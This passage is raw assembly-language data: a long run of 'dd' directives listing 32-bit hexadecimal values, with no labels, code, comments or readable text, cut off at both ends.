6ABD1E00h, 97C5B402h, 731901DDh, 0E59B1433h dd 0CC9EE451h, 0CB103400h, 15F087FBh, 481E0704h, 70964BD7h dd 4E2C46BFh, 900B498h, 5BB5DBEEh, 7D62EBDh, 0B0A790A0h dd 0D570702Ch, 0B2004E3Fh, 33DDEB08h, 891693h, 65DF1F3Dh dd 6734A330h, 41372800h, 693BBE4Eh, 0F04DFEBDh, 0B5400B1h dd 0C6D2B9C2h, 6E00B26Ah, 0C77B4D8h, 8A0D49h, 0BAA04E83h dd 0D5F7B6FEh, 12E9D900h, 0C8EC0A35h, 5A1B00A6h, 245EDCDFh dd 320FBE98h, 5CE286h, 21E8F703h, 0C7EA70h, 0B65AE333h dd 0F2BCC6E0h, 7FA7F300h, 49EBD736h, 0E8E60018h, 5FACF097h dd 700F210h, 0E29E0DFAh, 1D05CB1Ah, 0A4F9DDFEh, 0A4D60060h dd 0C128EE55h, 4AA24607h, 133718BBh, 0E1C9E2D0h, 30B300C4h dd 0BF3FA333h, 0D100D569h, 1B78C7A2h, 168FB8B4h, 1734943h dd 0D0F898C8h, 0CA29F805h, 0A363D300h, 74AE81CBh, 0E85D07B0h dd 80D19FD9h, 0BE40AFE4h, 11FEB97Eh, 0E7843709h, 455881E2h dd 88248E9Eh, 139A1FDAh, 0DB10085h, 4E8FC64Ah, 77FEC800h dd 0F66AD81h, 0E8F3001Fh, 585B3AE3h, 0E100D976h, 0CA381A23h dd 1E188680h, 0C0D41579h, 3E29D2A8h, 5FE0A76Ch, 0C8519100h dd 8597CA2h, 0C4D80071h, 0AF4F1C44h, 7D0087B6h, 8E5358F1h dd 13BDC5h, 2CAD12BEh, 9CCEEFE4h, 331428FAh, 7D015B2h dd 0D723A339h, 26C8ECh, 0EB6B9A73h, 67177844h, 0B90491E2h dd 87E468C8h, 736F9780h, 7E3700C2h, 17128ED5h, 0AF00341Bh dd 0F58B04A5h, 5408B4h, 882F6B8Fh, 0BB384929h, 8C21C800h dd 0ACC5D67Dh, 63C0E36h, 40A0EFD9h, 0DA2A87BFh, 0FFF8475Ah dd 6476F503h, 0F790ABFFh, 0A3001867h, 0BA70E1BCh, 0E25DD223h dd 13EA0089h, 9414E7CBh, 0A03D8B0Fh, 0B7037466h, 181E6FADh dd 2951DFC4h, 0A4408C36h, 77075DAh, 0EA637A81h, 0FADC7024h dd 0C102D818h, 92D43ACh, 83E077B0h, 0A1D5531h, 9401BC3Ch dd 20712BB2h, 8B979FC7h, 22AC7011h, 0CB176880h, 0D1784F61h dd 0D0AA48h, 558721CAh, 7AF68Eh, 0AC993510h, 4D421AB4h dd 3ADF0300h, 81276E1h, 54D000FBh, 14CB3BEBh, 0A20015A1h dd 0B036609h, 3D88922Ch, 3A809C99h, 812089C0h, 0F8A00EBEh dd 57071935h, 0FE5C3C31h, 932A8AE0h, 0C2A700B1h, 0BD6CE5FFh dd 0E81DDC3Ah, 0B883EB7Ah, 985E6548h, 7E874BB9h, 41F10026h dd 9E193892h, 88A0DD3Ch, 2B006798h, 9DED6957h, 36256h dd 4FF1170h, 8E51293Bh dd 5426337Ah, 0A70094A6h, 76D0066Ah, 6E5D3AD4h, 0B9009E3Dh dd 573C2F78h, 2C073D66h, 3549AB47h, 259CAA00h, 56110F9Eh dd 8360B68Bh, 0EAB13E54h, 4498D5E4h, 345F58h, 7BD426B3h dd 7868Eh, 8F82A21Ch, 0BD9705F6h, 0AF28140Eh, 2C7C631h dd 71EA00B8h, 0CCA24D17h, 0D3F4BB4Ch, 0E3865E00h, 95A7FD22h dd 1D5D3423h, 0E6D40446h, 941880E9h, 131F75CBh, 0F6925FC4h dd 92FC7800h, 6DDEB1h, 8B329559h, 4C1995Ch, 120B5F0Eh dd 0CB3A23FAh, 9620A8FDh, 0E07C005Eh, 0A56519Ah, 2241426h dd 0C90E3F03h, 428060D3h, 7A0520D5h, 2C7A55h, 0C871AF0Dh dd 0C1CC77BAh, 8784D204h, 43C0549Ah, 7227A817h, 0D4B9007Fh dd 4AF7222Fh, 39FAD668h, 23612E00h, 55AFAB3Ch, 40E802E2h dd 34F2E774h, 0AEEAB460h, 95F98714h, 0A36400CBh, 0D45AA78h dd 5E703F66h, 6B053702h, 0F40C55Fh, 8A00C909h, 0E9A1F08Fh dd 1FA827A5h, 3A911CE1h, 62BCB504h, 7CE48258h, 0D67E19E0h dd 96E9C200h, 47B93987h, 0CAE35006h, 13160018h, 8AC04DAh dd 8F070B0Fh, 0E27B5DD6h, 0E7B29390h, 2F21000Dh, 9AAE7730h dd 321E7A72h, 7B00D26Dh, 0B0F0568Fh, 88522841h, 9F9A03FFh dd 2E536F92h, 0C4385981h, 46EA3F2Ah, 173CE200h, 9D65CF2Bh dd 72A40088h, 96588C74h, 0AA989742h, 0F91FC907h, 0B1D0B3DEh dd 1072BD3h, 0EA464BD9h, 0F8DF56C4h, 0B009A08h, 0D63152FAh dd 20248Fh, 0C01FB811h, 0A1E28A3Eh, 62DE601Eh, 25689B00h dd 18441683h, 2ECFA81Ah, 0FA002E0Bh, 0D50C6319h, 0B6CAF9Ah dd 0C5DAB8D0h, 7D8D6D81h, 599180DEh, 603740BFh, 0BD09F16h dd 1B34A501h, 6475F513h, 0A0180FC3h, 0C5216ECBh, 24D459B0h dd 0C2001F18h, 7B90F3D9h, 0A9752Ah, 0D0DD7C16h, 0B445EE3Bh dd 829FA703h, 0D7059118h, 0F680FCC5h, 3BF94890h, 0CC1F4730h dd 5DE30378h, 5098B842h, 85016D2Eh, 8DB0F698h, 27F0896Bh dd 91CC00C7h, 15265C96h, 0A973A23Fh, 0FF747A07h, 3AB8014h dd 89692E1Ch, 0FC309E8Ch, 0FEF8002Ah, 0D0F52C95h, 4A01F370h dd 1FC35DA2h, 0D3F8EB8Bh, 0EC3E5D14h, 0F4D26100h, 2377B9CEh dd 0F00013B0h, 0A4976894h, 9EC7F70h, 0CB561B4Eh, 3AD00800h dd 2E01CF5Dh, 9771866h, 6BE8B338h, 896800DCh, 9332A842h dd 4F0028FBh, 531E20C7h, 2E678730h, 5C0919h, 2D47CC42h dd 9600F251h, 0DFFA567Dh, 62A0E0h, 0FFF633C3h, 0EEA82C2h dd 4357CA00h, 75BEE112h, 0D3D42C0Ah, 72FE0083h, 9A5A011Eh dd 0D4EDD574h, 6E008B13h, 3633B79Dh, 3A944146h, 1D02E705h dd 0A3FC278h, 916377C0h, 0C4828001h, 0E28C5A15h, 73B2AC8h dd 6FB1B459h, 6AD2C050h, 9300F9A6h, 0B29A8543h, 0D62FC5h dd 2209F338h, 0FE0DE55Dh, 8D600467h, 7FF98250h, 0C54B6Fh dd 2E4BEDA0h, 0E400BAA7h, 7177A09Dh, 2CB011h, 0BB064CA3h dd 18BE6DFBh, 0C4E52400h, 0DBE4B650h, 0D0C53FE0h, 0AC74640Fh dd 0F913BAA3h, 0B7A33AFBh, 37CE5E98h, 480BD096h, 4CC02018h dd 48607D29h, 7B005C02h, 0C305765Ah, 0A7007AFEh, 689833CAh dd 0C2E6B7h, 96024BD5h, 742DC831h, 0F801E074h, 0DE6DDC32h dd 0F820B507h, 3CBD004Dh, 30D6D4BEh, 0E80035DAh, 0B05D31E4h dd 229CEAh, 2092652Ch, 85FEC2B6h, 0BC99B500h, 0A217D8DAh dd 798201F8h, 5273F348h, 0E582207Eh, 6D4AC00h, 87DBD921h dd 6EAB008Dh, 0BC65F530h, 0F000EF1Ch, 88B5116Fh, 581ABA92h dd 9E00BCD5h, 99964DC7h, 0E482B39h, 0D3D8008Ch, 294ECEBBh dd 0F1C2006Bh, 5917FB83h, 0E0120951h, 9B00C0B1h, 461D27F5h dd 15C500D3h, 446B96DEh, 9500E681h, 340C6E13h, 7C27DC2Eh dd 325B023h, 9AA40ED3h, 0F1B007B8h, 14007A6Ch, 0AFE29D87h dd 3A960B35h, 880066C0h, 6A94035Fh, 5E008CFAh, 29D68EC1h dd 964FF86h, 0D593A262h, 60426069h, 26009260h, 8CE96D4Bh dd 166CBD4h, 0E0D2A7C8h, 0D0A39637h, 47015C39h, 0D7D1AA8h dd 6C306F4Eh, 4DF600BBh, 0D068BCF1h, 7B003013h, 22CC8AE4h dd 74DAADC9h, 0C01E1462h, 7AFC03h, 0D80CCF38h, 0A12D3A1Dh dd 0F5727300h, 0AB5BA925h, 14680028h, 0FA5F21C9h, 5C00F2D6h dd 2D5487F3h, 83521Bh, 0A9891680h, 0CA97A675h, 84E36103h dd 0F8352076h, 69E236h, 60FBB3FAh, 0CB33F447h, 0E48A7000h dd 0D131EDBDh, 0AA9C05F3h, 0C19A34E2h, 740E0B54h, 391CC050h dd 0C3411A62h, 0C82B7D8Ah, 0F9C13030h, 0CC5130h, 0DA42CEAEh dd 0F51CF0DEh, 167D5E00h, 389DE809h, 0A4610053h, 6B1E420h dd 7A005FFEh, 0EEB9DFFBh, 7229BFFh, 88CBE02h, 151C100Ch dd 180ECEE4h, 20FB98D1h, 0E85DBAD5h, 0E1ED009Eh, 8387A91Ah dd 2DF67630h, 53B7F900h, 0A85C6F80h, 72740728h, 0A9F83DF4h dd 1780A30Fh, 5489C455h, 8381A738h, 914A1040h, 3A0CA929h dd 20186880h, 0ED195352h, 0D794A100h, 33DB1042h, 374E0065h dd 608AA526h, 0A27A8022h, 0BF45D616h, 81E8CF0Eh, 0A719F8EDh dd 40B3199Dh, 1CFDD18Bh, 0CF1FFE6Ah, 0A8827409h, 40E6CD83h dd 24EAC4F7h, 0BC586Fh, 67D53427h, 0BC60D4AFh, 6DE07A36h dd 0EE57382Ah, 662BA680h, 7027BB71h, 0A8905A3Ah, 6200ED7Fh dd 0C408D692h, 78C9C38Bh, 0E3CA00F7h, 68365661h, 0A7008134h dd 21997EA2h, 0C2ACD2h, 4EDBC072h, 5F763573h, 80E63439h dd 0B257E11h, 69C7Ch, 0B95E2F26h, 0EB4C64BEh, 803D0E3Dh dd 0B12DBC05h, 4F58A2h, 64994579h, 0B78BAE39h, 91E40107h dd 384025D9h, 168A275h, 2912C974h, 0DC204B17h, 3403A4CAh dd 0A77ECE92h, 0D74CD941h, 0B778EAC0h, 9311FC40h, 0B8F7CA01h dd 0BBBA56C2h, 0BBC60h, 7AE0D4C7h, 6D9B3A85h, 76EBD607h dd 6EC0DA02h, 0F0E7A7A0h, 78397931h, 9CC900B6h, 7EF01295h dd 0DF00AA28h, 0ACC823BCh, 0DA0376h, 5A6CD5CAh, 89A0460Fh dd 0BE5FBF04h, 24C0908Ah, 0C850F8h, 0ECEB45F6h, 0F9C5A41Ch dd 0CB435114h, 6F4200E0h, 0A9306A12h, 49E7966h, 8CB9DE9Ch dd 0EFCBC147h, 7217C853h, 3C4E9D00h, 0CC9AFA39h, 34F00DAh dd 0ECEDD934h, 8D00DE3Bh, 49E7AB95h, 593CD7h, 0C56C2CC4h dd 80DA3F55h, 20C60324h, 3B16DF00h, 3AD76F2h, 0DC9B2DC2h dd 0ED91B25h, 773C20AAh, 0AF09100h, 0AB7C2027h, 9DDB18D8h dd 4FAA4112h, 5B0E4Ch, 0B664A75Fh, 14F9089Ah, 0F80797B8h dd 0A0C33900h, 4761D821h, 6B46C500h, 3524D931h, 9A9B032Ah dd 0F0DBFE29h, 7F4C74C8h, 0AF83AE00h, 0F99678B5h, 9020089h dd 40B2A811h, 10C08A9Dh, 1F0B28B7h, 0AC1904D5h, 81CC62ADh dd 489FB854h, 15003ED0h, 0E614D04Bh, 76EC8Fh, 80FCE08Ah dd 5647C69Eh, 0F8A9310Fh, 925F67B9h, 87434560h, 3D1A0078h dd 1F858B0Fh, 0CD006A10h, 4BF188DCh, 81A3BFh, 973CF6E0h dd 6EEE6B8Ch, 4A855001h, 0FFCC58A4h, 9BDD8985h, 1B80001Ah dd 7D111C79h, 0EA3D939h, 63021D3Ah, 97A8BDh, 0FDEDE598h dd 0C4C23529h, 0E308D100h, 5E30FC12h, 0E7759Ch, 0AD1C4C69h dd 40C10933h, 989DA703h, 80AA9E85h, 13716150h, 710C691h dd 0A75B953Ch, 37AD907Ch, 4D7C557Eh, 22FC9076h, 0D4526600h dd 0A031D932h, 17F4245Fh, 152B001Ah, 7AA1E3CDh, 8EC83Bh dd 81E5A644h, 9A8CB7h, 72F00AC2h, 0EE2A262Bh, 0FB146903h dd 9233DEE3h, 0DC0840D0h, 40B4D220h, 0EF49D448h, 2C49CE44h dd 36A700F0h, 1E46BAFFh dd 0B8F81DEEh, 0B5156D9h, 4E006275h, 0CE18AC02h, 0D55D8C00h dd 787B2671h, 63B881h, 3A70A338h, 89CAB936h, 0D5FF0603h dd 9834ED82h, 5FAFAA9Bh, 0BFC28h, 0AE3341B9h, 20F46Ch dd 37F15F14h, 1AF61DEFh, 9479A400h, 808D5E15h, 6AFE224h dd 0D4F564A1h, 0EE0698E6h, 7FB5EB1Fh, 0E937B28h, 6584302Ch dd 0C04AC804h, 0E9895950h, 0E87B5124h, 224F4902h, 43B8620Ah dd 0F367EF39h, 0B22C1990h, 78CD0379h, 8606447Bh, 0FE173000h dd 0F8F95C30h, 4EA6008Eh, 9B15165Eh, 0E6782B34h, 1020D600h dd 6DD83154h, 9D8A1D1Eh, 7DB04006h, 4E43753Eh, 6EA05C00h dd 4D583711h, 0BB800E0h, 0D13CC904h, 6C7B2DF9h, 6801A800h dd 0F633898Ah, 541B008Dh, 3A982BD4h, 951D8564h, 43C045CDh dd 68C551CFh, 0EEFCEBh, 0CBC33CB7h, 7C48CA20h, 0A4189B12h dd 0B9F40400h, 1E2B2610h, 80A007C5h, 904399F8h, 531EAEE9h dd 0C0059B6Dh, 3490C4E0h, 44351Eh, 578EDBD7h, 0EAFA8813h dd 0D8016800h, 84826BE3h, 5F4E0087h, 0F8A458E5h, 0B600AE41h dd 0FF97FC94h, 70A9C6h, 0AD4B67D7h, 0F323D184h, 0D0573D00h dd 0FCCF9F5Ah, 7730045h, 28847D4Ch, 9B90BAB8h, 0A6A23B00h dd 0A7C25BB0h, 0F65A0071h, 0C7ECBE4Fh, 49008747h, 9857ED24h dd 0D41B3Fh, 997DB4BDh, 7E5FAF84h, 0AA14A300h, 2FFA0F3Ch dd 9493A004h, 0C03E00F1h, 305A5611h, 0BE74845Dh, 58770300h dd 0DFA9F4C7h, 0FF640079h, 0C4D3614Dh, 0EE3DBFFEh, 56C18097h dd 9874018Dh, 0E915012Eh, 0E845AA8Ah, 0C186D04Fh, 0A490C818h dd 0AC4ADCh, 0CB6D3135h, 5269EABAh, 8FAD9903h, 0F95A7868h dd 0DBDC7EE3h, 0C12900D7h, 0C7F463C2h, 8800BF9Ch, 28ED4FFDh dd 7CBAAF61h, 0F1400024h, 276E1A2Dh, 0F002336h, 2589353Ah dd 2822BE0Ah, 9084B3EEh, 6CA63969h, 43AF7D80h, 0BD089F55h dd 5E1CE000h, 32D572B1h, 870700F9h, 759E79E4h, 9D00FF93h dd 0DACE1CF2h, 1EC01322h, 0C0BDE2A8h, 204D4183h, 0F20A6DC9h dd 8493D353h, 0EF07111Fh, 0A96077CCh, 7BD195h, 9DC2B5FEh dd 0A7862C90h, 5DE6EF00h, 35A8E58Fh, 96581C9Bh, 0F405007Dh dd 0F94550AAh, 0FB5812F2h, 1011241Eh, 4494C100h, 14897B4h dd 0D4348AA7h, 0CD1D8786h, 91D8C363h, 0FF0390FEh, 2ED9B03Bh dd 6AA00542h, 0AA0704C5h, 96FDFC0h, 10730076h, 331B7752h dd 6302CD84h, 0EB5197C6h, 0DF60C0FEh, 0F21C00A1h, 0D83F2866h dd 0C5077212h, 0F36590DCh, 2587C02Eh, 3080BEh, 0D23E8D41h dd 997ACCE9h, 491B3102h, 0F0815274h, 4C9348ECh, 0E1681005h dd 2DF48039h, 2E784C60h, 0FC36D901h, 7AC68FCEh, 0E528D4h dd 0B47B085h, 3C3B0D39h, 54376700h, 98F76E16h, 0BD830028h dd 5A5BC959h, 5E034991h, 92C427ADh, 0B61CD157h, 20C098E3h dd 0BA690034h, 0E7B38CA6h, 750018CEh, 99C85723h, 0F84A841h dd 0EB0C61DDh, 1A564BE0h, 3700E9E6h, 5FC6328Ch, 3E6AEF7Fh dd 0E4004AB4h, 77CB7A85h, 501C82B3h, 9200BC70h, 87FFC44h dd 0EA8F096Ah, 998027DCh, 644754A5h, 0CBBCEF01h, 0DF104337h dd 3DEAB20h, 0A55B9B29h, 20D08A6Fh, 0A33075F1h, 8748D852h dd 0EC4F70B9h, 761418ECh, 50575136h, 41F1F603h, 0A0A6C878h dd 3683860h, 6AE085CEh, 0FB903AB0h, 0D0E35F1Ah, 7A0147C4h dd 0C583E449h, 67CA4B7Dh, 0C937900h, 57E50E33h, 0B2A03D25h dd 620D48E4h, 0D00F0978h, 20B5C5ECh, 0C80FBC4Dh, 0BD9700E6h dd 0AB7156FEh, 9000D031h, 28920ED5h, 4F99A6h, 8AFD401Eh dd 828B93DCh, 62596100h, 3E5348E3h, 34D029D6h, 7A61238h dd 0E0272418h, 19F5FF1Eh, 0CD9ADE26h, 0E200E020h, 5A79AC34h dd 3CED4601h, 9F262A7Fh, 0B2190008h, 5C88187Bh, 0B9905700h dd 0D62FEE7Eh, 8C6E00F8h, 2064787Ch, 3700DCD3h, 63C9A057h dd 1AC034h, 0D58EE146h, 0D15CCBBAh, 6BFC8800h, 1FF9371Dh dd 241898F5h, 1D30951Bh, 0D9AFC059h, 225D0AE4h, 0C3002898h dd 920936CFh, 2B22EFFh, 76D7DA7Ah, 0A86435C9h, 75EC20h dd 0DBAB6B22h, 0EE309CC0h, 0B0F6D507h, 63D01372h, 76256760h dd 9D8C0F1Bh, 0B84018E0h, 4D49BFE8h, 0CD9A3700h, 42F060DDh dd 88B1601Eh, 1C479C8Bh, 0EE103E00h, 9457554Ch, 5DF00496h dd 805A4495h, 0E1639044h, 0D030C400h, 4E61E579h, 578118E2h dd 521ED07Dh, 1996B600h, 0B534606Ch, 5E7014A4h, 72A88Ch dd 495B7F80h, 27AC3EC8h, 28B36900h, 0C91BF708h, 0B4EE72h dd 2045E3E1h, 66DA9326h, 9B6394A8h, 10D450A1h, 3528AEh dd 0C8906422h, 0D8DCE4D0h, 77816E00h, 8EA068FCh, 153E04B7h dd 92325A70h, 18450CE0h, 0CEDB0B82h, 894243CFh, 46E9348Bh dd 9740FF4h, 390D94C8h, 0FB207E00h, 30F4BC3h, 4FC408F8h dd 0B616C060h, 0F80D0E0h, 0C371B4EDh, 0E81A97C0h, 0AC008104h dd 35FA5810h, 0E91F9h, 3193229Dh, 57EC12B3h, 0BD2BE8A0h dd 1E3EBC01h, 0DE998D94h, 4BE469E1h, 0ECB800AFh, 56C22BF1h dd 42066A5Fh, 0C337D011h, 2D060070h, 0D79EA0BEh, 9D703485h dd 999B548h, 800F8019h, 0B9E1ADAAh, 1242007Ch, 5D244349h dd 0A7007B6Ah, 79917A22h, 1D66434h, 55C8E2D7h, 7046513Bh dd 0DF00FB44h, 0FA70BE92h, 1542A0Ch, 27A442BCh, 0F8B114AEh dd 0C32C7C1Fh, 0E69C104Ch, 5B1EBF00h, 4B78Fh, 9939B080h dd 0CDD545Fh, 0CE17437Bh, 0D11ECC76h, 0F211E640h, 0F55D96DAh dd 983D02FCh, 0D7470070h, 4AA0BA31h, 0B2F8425Ch, 0E63A6C06h dd 0E105BBDh, 7D90D5DDh, 0A6AAABE0h, 700C844h, 7AF6ADBEh dd 7C5143h, 0ED10A87Fh, 0B77E32FCh, 5200E47Ch, 0A78129B4h dd 796152Fh, 21CEBC4Eh, 0A18E8006h, 6C003C24h, 7FE01A82h dd 0D922D3h, 0F74A8920h, 0D405AAF2h, 2FA26F01h, 274E7D5Eh dd 0DED7E8h, 0EA97AEE8h, 3C9C7532h, 24115700h, 0C326BE4Ch dd 0ABE2005Eh, 0CF1DBDE4h, 7501A177h, 0F924B969h, 91D4927Bh dd 0AFF500F8h, 38C088B4h, 0F1073F57h, 69591527h, 0A1E64211h dd 2F81D4h, 0D465ADFBh, 122E4D22h, 68AACB01h, 3FAC1FBAh dd 78281FCh, 0AF5BCE9Eh, 0E9EE0165h, 0D9328086h, 84EBE8F0h dd 10900079h, 0C64AFA5h, 0CF1FDEE1h, 1E40E0BEh, 0E32F1CEDh dd 0F3B0E5Bh, 55E1A99Eh, 0E4EBD7FBh, 58C08E15h, 0ED6BD8FAh dd 21446045h, 9A4BC3Fh, 850C1D1Ch, 0CFFA8C40h, 570586Dh dd 6F558F05h, 0B98800BFh, 86F35062h, 0DC094106h, 9018B0C4h dd 0F51427D9h, 5F006A56h, 0FDF4688h, 1BDA0078h, 0E1A8A34Eh dd 7D00401Ah, 0F2CA549Dh, 3E472FEh, 0AD634994h, 0C2D02561h dd 0C5000E4Ch, 0E188B720h, 7731E5h, 0BF4E3D96h, 8A9D6407h dd 19A77500h, 2D7C673h, 0E59800C2h, 0DAD8B7ECh, 0BA900564h dd 8A5E0100h, 0B9C6FF9Ch, 0EA510089h, 0E13C0F6Fh, 0B8A19DB5h dd 705AC19Bh, 0DE04F1A4h, 98B7C1D8h, 81E970C0h, 8AD900EFh dd 197AC3F9h, 99758965h, 8F9BDC3Bh, 0A0633D0Ch, 8216ABD2h dd 0F22201B9h, 0F723D7B3h, 0CB2CC888h, 93F54A03h, 9C09CCh dd 0D284BB81h, 853A4667h, 3B004074h, 1E9AF3CBh, 7F0EB390h dd 0FBBD03F5h, 0A0C7B40Dh, 60AD24E8h, 0F41CD974h, 32C38FA4h dd 0B3D537EAh, 932E8823h, 0C65400FAh, 0A5098BBh, 8800956Eh dd 1DF012D4h, 0F20144FEh, 8A220049h, 0B2F523DEh, 0D52A6730h dd 6A00E04Dh, 0C47ECFF7h, 125EFB57h, 1A58DB7h, 5244886Ch dd 0F10DC81Ah, 4BC78003h dd 0FF47B127h, 6D65C10h, 74573F93h, 0E7D1B880h, 6D3C3E1Ah dd 5B0FD518h, 1FD0228h, 0BC2A9176h, 0E89D6B72h, 1D601F87h dd 8745110h, 0FCC800EEh, 7678626Ch, 7E15B0FAh, 219C6559h dd 0C6F800DDh, 6A33C793h, 489D6900h, 0A2B39F5h, 4E3A00A6h dd 222ADD49h, 0A700C66Fh, 13EAE97Fh, 7DED2F1h, 0EE68D1DFh dd 84B8B045h, 207971C1h, 688E6330h, 0A89632E6h, 1C9AD194h dd 84AB9FD2h, 0B70944h, 3F82389Dh, 408602EFh, 0A25AC571h dd 0C033AA02h, 70CD67h, 283438ECh, 0A01084C7h, 5DAFF800h dd 552E6F2Bh, 52AD0544h, 612184Ch, 8F657DBh, 7091803Ch dd 1B006090h, 0B853F549h, 0F959748h, 6419D59Fh, 91F23267h dd 0E4880694h, 0D701FF3Ah, 0AD3BC2F4h, 0DFC022E4h, 0D59500C4h dd 0EC6F3863h, 7E7586B2h, 39580100h, 0F6F91367h, 0CD1200BFh dd 6E2B9AB8h, 820071A1h, 1A64F0F7h, 5C925258h, 0DC1D0524h dd 9FE44067h, 405DEC3Dh, 5AEA1C00h, 0FEBB4641h, 2FE656h dd 4A6080EEh, 0C9C2B582h, 86593Bh, 813E95Fh, 35192Ch, 0DCEDC58Dh dd 1B297F94h, 0BBB17400h, 6C1C22EBh, 0FCF7686h, 4782800Ah dd 25DCB8E0h, 810003C0h, 9C445C06h, 60BF7Dh, 4D1FC5ABh dd 741EF03Ch, 870006F8h, 0C3AF67E8h, 382015F7h, 598F1A4Ah dd 0FE0A76Eh, 0A39C6A2Bh, 90FAEC01h, 84F086A1h, 0D7F6C540h dd 9DAA0FBFh, 0F4A05CC7h, 952D14DEh, 724F5248h, 0FA366100h dd 6234CC64h, 0F30D1E6Dh, 4C0800A2h, 149F0489h, 9848B20Fh dd 6326A04Dh, 0D87374h, 3966972h, 0B72B3A7Ah, 4800A672h dd 36714B57h, 0A96EE0h, 4931CD75h, 965199AAh, 0DCF3C800h dd 9DEBC64Fh, 9B552606h, 0C980011h, 0EF3A447Eh, 2EA76100h dd 0AA7C2A78h, 0FA7839h, 0E0ED9F0Dh, 6CF0F330h, 0EC81D900h dd 40EFD613h, 0F7FC83h, 35793897h, 28BF1FE2h, 0D64F3A00h dd 955D2093h, 0F07500C1h, 981AE4B2h, 3B002B3Fh, 4F5AD1F5h dd 7F329C9h, 0AC83BD10h, 4B008B4Dh, 7696DEBh, 2CDF9E03h dd 0D8EE5B3Bh, 0E60B6Ah, 53981D97h, 1589ADCDh, 4A7B0C00h dd 0FBC940ACh, 75EC01F1h, 0D2133F55h, 866ED432h, 0E6E7F901h dd 0B9B25736h, 0C220F0h, 561348EDh, 9C2DAD2Fh, 0F379C407h dd 64E03662h, 4FD328h, 0F6C542A4h, 1A3F8C21h, 0FC0BFD07h dd 72D0E79Ah, 5E2029h, 8E6EDB37h, 564D4142h, 8F804F07h dd 0A0909B25h, 0F51F86h, 498E9821h, 226B7A4Ch, 9582007h dd 10500639h, 142784h, 31BB48B4h, 409D555Dh, 580F5F00h dd 9C5A1C17h, 32E5012Eh, 1EA4DC9h, 0C856088h, 7699A802h dd 0D717668Dh, 12B87C80h, 5C01CEC0h, 0D75742FDh, 0A7CC24F0h dd 75301FFh, 35B7410Dh, 5ADBE0C3h, 0F6384A00h, 0AA3BDF3h dd 0D39C0017h, 6128D7A5h, 2E01FCDCh, 0CE22A90Eh, 0E5D5DAF8h dd 8AD834D1h, 2F1B1C7Bh, 97AC057h, 43BF1441h, 9E1F6B00h dd 822BFFFEh, 38890A9h, 5EF1DA65h, 113C7FEFh, 5AD012Ah dd 8F2E26ACh, 7D0080BEh, 0F0855024h, 0CF038010h, 0E7DB3CF4h dd 0D2C0ECF2h, 0EE631A37h, 36F4F1h, 0B9461478h, 0A6134423h dd 5E7CBB0Ch, 0ECA411BAh, 581D603Ch, 2FF0B265h, 30B79528h dd 9C01AE7Dh, 0F4D21658h, 19815998h, 0EB5D3EA6h, 0B73BC4A9h dd 0D52FA50Ch, 0EF04807h, 91720109h, 8E009529h, 478D4245h dd 7CFF810Eh, 684007B0h, 934BA0FEh, 3EBC129Fh, 5880EE33h dd 0E4E28A2Eh, 100119DCh, 2C159506h, 7FF8EDFBh, 384F004Eh dd 9C3B3D84h, 0A4002531h, 46C798Bh, 0F613FFh, 0CC7E1DC9h dd 83EF5985h, 79235600h, 6DC07362h, 264EFCC5h, 6FA0EBh dd 3CD68231h, 0FE7EA5C6h, 9CCBBC00h, 0BAAF39DEh, 76F004B7h dd 0C0E49B20h, 0EABB727Eh, 0C187E307h, 0B7E0E74Dh, 78C3453h dd 664480F0h, 186E7F03h, 8898DBE0h, 0C10091D1h, 0B8AD7A6Fh dd 5A12A97h, 348405E7h, 98A4106Eh, 7F0A4000h, 0AB066D30h dd 32965500h, 1F3E2677h, 0A03F07C3h, 2040BD19h, 1C7DDBBh dd 10FEFC00h, 5D23A8F0h, 0B94816ACh, 6D520039h, 0E56F2977h dd 58FE48h, 5D98775h, 0E2C707h, 37B44ABFh, 0F2A120A8h dd 0BE666B00h, 67508F5h, 1629C4D1h, 74B642BAh, 28D201B9h dd 0E5E100F9h, 87A810Ah, 0EE36445Ch, 0D851BB61h, 0AE030BBEh dd 290946D4h, 405A7179h, 9164B88Fh, 4E471251h, 9958A035h dd 2A000C6Fh, 2E6D40F3h, 0EE6B1ECDh, 558A2C61h, 0F7F907E1h dd 4CBA60FEh, 95009DC5h, 7AB19B7Bh, 560BB94h, 0CAE32A48h dd 28C9C0E2h, 0F3002182h, 0AE8C8EADh, 0F90DFAh, 0D02925AFh dd 64EF56D5h, 0B8E1BE00h, 0FE2480A7h, 0D449002Bh, 2873CE6Ch dd 2A075068h, 944C910Ah, 0B33F13h, 2308F718h, 4058A95Ah dd 77950D00h, 8CC14725h, 0CD1C0086h, 127E1A5Fh, 0B900447Fh dd 732E788Dh, 3F14D6h, 5B979DB1h, 133CC226h, 0FFA89103h dd 8812871Bh, 1EB5D1DAh, 0FDE4CCA0h, 40BECF03h, 8FA8B3CBh dd 15F89270h, 0F8E7A228h, 0CDE3A00h, 0EE4CEFC4h, 6F6B00A5h dd 150ACD51h, 0A7033708h, 65DAF741h, 820FA8A8h, 4F6F24Dh dd 96383AB4h, 0F422C0C4h, 0C00FA50h, 0C964487Fh, 7861EDh dd 567E54B9h, 8D2A04Ch, 0B600EAF0h, 51634B86h, 0FFDA02h dd 335326DCh, 7F4845F4h, 81851A00h, 395FD346h, 8EA0006Eh dd 4E47A18h, 0B40FD274h, 4005B006h, 0CBE022CCh, 5DA90BA7h dd 0D500B5F1h, 0CDC7B762h, 0BB3D3Fh, 0DDDCE04Ah, 0FB15B4h dd 78D2A759h, 0ECE5435Fh, 5D685100h, 5324B83Dh, 19E7005Ah dd 1AC4129Eh, 0AB006EBEh, 70E6801Eh, 0B7C531h, 3B79E4EEh dd 64ADC7C6h, 7F888463h, 0B2BBD0B3h, 0B64C3DEEh, 4A8B8E80h dd 3C6E1C35h, 2FA2B74h, 0E0B8891Fh, 0E5D8AEC0h, 18C429DBh dd 68677496h, 25772A64h, 0E669AF00h, 206E81BCh, 0FC5738D2h dd 40E7221Ch, 1CF701EBh, 282DC5AEh, 7E5588Fh, 32DACCEh dd 8A4737ECh, 0B5EA00C9h, 0E767AA6Ah, 6C00FB7Ah, 9EE51AC1h dd 0DD208Fh, 9FD945DCh, 212A41AAh, 3797DA00h, 59C2C11Fh dd 0B63F2E50h, 20B20070h, 31D3AE18h, 34A24F01h, 4C16671Ah dd 3A92E5F4h, 3C0730C4h, 0DE9627AAh, 0EA0E02A0h, 541E35D3h dd 7C81FA3Eh, 2CF3931Eh, 1AD6FCh, 0C5FB806Ah, 0A54AE366h dd 6C41DB07h, 0D7F02482h, 3B4F9FDCh, 0C3012F6Bh, 3C77460h dd 18B8FB7Bh, 0F81C3CB1h, 1A80077Ch, 0D1CCDDADh, 1123005Bh dd 0D2D30367h, 54026AF1h, 2419BEBFh, 